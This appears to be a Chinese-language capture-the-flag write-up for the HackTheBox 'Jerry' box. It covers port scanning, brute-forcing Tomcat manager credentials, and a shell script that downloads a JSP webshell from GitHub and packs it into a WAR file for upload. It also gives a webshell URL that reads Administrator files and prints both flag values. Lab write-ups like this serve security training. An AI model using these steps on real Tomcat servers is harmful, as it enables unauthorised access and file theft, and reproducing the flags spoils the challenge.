[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传

信息收集

IP Address Opening Ports
10.10.10.95 TCP:8080

$ sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports

$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

$ nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn

bash 复制代码
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.89 seconds

Tomcat

https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py

爆破tomcat密码

$ python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95

s3cret

创建 WAR 包

bash 复制代码
# gen_war.sh
#!/bin/sh 
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp 
rm -rf wshell 
rm -f wshell.war 
mkdir wshell 
cp index.jsp wshell/ 
cd wshell 
jar -cvf ../wshell.war * 

$ chmod +x gen_war.sh

$ ./gen_war.sh

可以直接通过这个目录找到两个Flag

http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt

User.txt

7004dbcef0f854e0fb401875f26ebd00

Root.txt

04a8b36e1545a455393d067e772fe90e

相关推荐
sjmaysee1 天前
Java框架SpringBoot(一)
java·开发语言·spring boot
寒秋花开曾相惜1 天前
(学习笔记)3.8 指针运算(3.8.3 嵌套的数组& 3.8.4 定长数组)
java·开发语言·笔记·学习·算法
想唱rap1 天前
Linux线程
java·linux·运维·服务器·开发语言·mysql
golang学习记1 天前
IDEA 2026.1官宣:AI 建议免费了!
java·ide·intellij-idea
cccccc语言我来了1 天前
Linux(9)操作系统
android·java·linux
东离与糖宝1 天前
金三银四Java校招面经:从双非到大厂Offer,我只准备了这些
java·面试
禾小西1 天前
Spring AI :Spring AI的介绍
java·人工智能·spring
愤豆1 天前
05-Java语言核心-语法特性--模块化系统详解
java·开发语言·python
bksczm1 天前
文件流(fstream)
java·开发语言
NGC_66111 天前
Java 线程池阻塞队列与拒绝策略
java·开发语言